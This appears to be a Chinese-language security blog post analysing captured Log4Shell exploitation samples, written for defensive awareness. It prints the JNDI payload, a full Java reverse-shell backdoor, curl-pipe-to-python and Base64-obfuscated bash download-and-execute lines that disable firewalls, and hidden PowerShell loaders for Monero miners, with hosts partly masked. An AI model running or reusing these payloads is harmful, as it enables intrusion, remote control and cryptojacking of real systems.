Log4Shell 漏洞利用样本分析

Table of Contents

公开时间:2022-03-22

本文对前段时间整理捕获到的 Log4Shell 漏洞利用样本做个简单的总结,这些恶意代码基本上覆盖了这类漏洞场景的常见利用手法,希望知己知彼,加强系统安全。

Payload 基本上都如出一辙:

${jndi:ldap://IP:1389/Exploit}

我想说的重点是如何将类文件下载,curl 是支持 LDAP 协议的,因此用 curl 即可:

$ curl ldap://[此处马赛克]:8888/x
DN: x
        javaClassName: foo

        javaCodeBase: http://199.[此处马赛克].192:88/ <----- 基 URL

        objectClass: javaNamingReference

        javaFactory: Exploit    <----- 后面加上 .class 就是类文件了

根据上面输出信息拼接出类文件的下载地址:

$ wget http://199.[此处马赛克].192:88/Exploit.class

捕获到的样本就三类:疑似刷流量、后门、挖矿木马。

1. 疑似刷流量

这个样本只是访问了某篇新闻,意义不明,可能是为了刷流量:

try {
        URL realUrl = new URL("http://www.[马赛克].com/1028");
        URLConnection connection = realUrl.openConnection();
        connection.connect();
        new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8"));
} catch (Exception var3) {
        var3.printStackTrace();
}

2. 后门

1、简单粗暴的反弹后门:

public Exploit() throws Exception {
        String var1 = "IP 地址";
        short var2 = 4040;
        String var3 = "/bin/sh";
        // 启动个 sh 进程,然后和远程主机 4040 端口建立 Socket 连接
        // 并把 sh 的标准输入、输出重定向到 Socket 句柄,这样就能形成简单的反弹后门
        Process var4 = (new ProcessBuilder(new String[]{var3})).redirectErrorStream(true).start();
        Socket var5 = new Socket(var1, var2);
        InputStream var6 = var4.getInputStream();
        InputStream var7 = var4.getErrorStream();
        InputStream var8 = var5.getInputStream();
        OutputStream var9 = var4.getOutputStream();
        OutputStream var10 = var5.getOutputStream();

        // 维持连接,并接收 shell 命令
        while(!var5.isClosed()) {
                while(var6.available() > 0) {
                        var10.write(var6.read());
                }

                while(var7.available() > 0) {
                        var10.write(var7.read());
                }

                while(var8.available() > 0) {
                        var9.write(var8.read());
                }

                var10.flush();
                var9.flush();
                Thread.sleep(50L);

                try {
                        var4.exitValue();
                        break;
                } catch (Exception var12) {
                }
        }

        var4.destroy();
        var5.close();
}

2、下载 Python Meterpreter 后门:

try {
        String[] var0 = new String[]{"http://[马赛克]/oa/2020/SisTur/G99ZTE/m.py", "http://[马赛克]/59F1/christmas.py", "https://[马赛克]/HUS8/christmas.py"};
        // 从上面的 URL 列表中随机选择一个 .py 的 URL
        Random var1 = new Random();
        int var2 = var1.nextInt(var0.length);
        String var3 = var0[var2];

        try {
                // 下载 .py 脚本并执行
                String[] var4 = new String[]{"bash", "-c", "curl " + var3 + " | python3"};
                Runtime.getRuntime().exec(var4).waitFor();
        } catch (Exception var6) {
                var6.printStackTrace();
                // 为了防止没有 python3 这个命令(尤其是某些 Docker 容器),用 python 重试
                String[] var5 = new String[]{"bash", "-c", "curl " + var3 + " | python"};
                Runtime.getRuntime().exec(var5).waitFor();
        }
} catch (Exception var7) {
        var7.printStackTrace();
}

3、另一种 Linux 后门,用 Base64 加密来逃避规则检测:

try {
        String var0 = "bash -c {echo,Y2QgL3Vzci9iaW47c3lzdGVtY3RsIGRpc2FibGUgZmlyZXdhbGxkO2Noa2NvbmZpZyBpcHRhYmxlcyBvZmY7dWZ3IGRpc2FibGU7d2dldCBodHRwOi8vMTU1Ljk0LjE1NC4xNzAv[马赛克一部分]FhYTtjaG1vZCA3NzcgYWFhOy4vYWFh}|{base64,-d}|{bash,-i}";
        Runtime.getRuntime().exec(var0);
}

中间的 Base64 为一段 shell 命令,负责停止防火墙服务、远程下载二进制后门,解码后如下:

cd /usr/bin;systemctl disable firewalld;chkconfig iptables off;ufw disable;wget http://[马赛克]/aaa;curl -O http://[马赛克]/aaa;chmod 777 aaa;./aaa

3. 挖矿

挖矿场景的代码就比上面的要复杂一些,例如下面捕获的一个挖门罗币的样本,会根据不同的操作系统下载不同的文件:

String[] var0 = new String[]{"/bin/bash", "-c", "(wget -qO - http://[马赛克]/.l/log || curl http://[马赛克]/.l/log) | sh"};
if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
        var0 = new String[]{"powershell", "-w", "hidden", "-c", "(new-object System.Net.WebClient).DownloadFile('http://[马赛克]:80/wp-content/themes/twentyseventeen/s.cmd', $env:temp + '/s.cmd');start-process -FilePath 's.cmd' -WorkingDirectory $env:tmp"};
        Runtime.getRuntime().exec(var0);
        var0 = new String[]{"powershell", "-w", "hidden", "-c", "(new-object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', $env:temp + '/oc.cmd');start-process -FilePath 'oc.cmd' -WorkingDirectory $env:tmp"};
}

Runtime var1 = Runtime.getRuntime();
Process var2 = var1.exec(var0);
var2.waitFor();

如果是 Windows 系统,就下载 PowerShell 脚本;Linux 则下载 shell 脚本,下载的脚本中会进一步下载挖矿木马。Linux 中分别尝试执行了 wget 和 curl,因为一些 Linux 发行版默认是没有 wget 命令的。

还有更为简单粗暴的:

try {
        exec("curl http://[马赛克]/d/loader.sh -o /tmp/.1.sh", (Writer)null);
        exec("wget http://[马赛克]/d/loader.sh -O /tmp/.1.sh", (Writer)null);
        exec("bash /tmp/.1.sh", (Writer)null);
        exec("bash -c \"curl http://[马赛克]/d/loader.sh|sh\"", (Writer)null);
        exec("bash -c {echo,Y3VybCBodHRwOi8vMTk5L[马赛克一部分]TIvZC9sb2FkZXIuc2h8YmFzaA==}|{base64,-d}|{bash,-i}", (Writer)null);
        exec("powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGo[马赛克一部分]LgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMTk5LjE5LjIyNi4xOTIvAGQALwBsAG8AYQBkAGUAcgAuAHAAcwAxACcAKQA7AA==", (Writer)null);
        exec("powershell.exe -exec bypass -C \"IEX (New-Object Net.WebClient).DownloadString('http://[马赛克]/d/loader.ps1')\"", (Writer)null);
} catch (IOException var2) {
}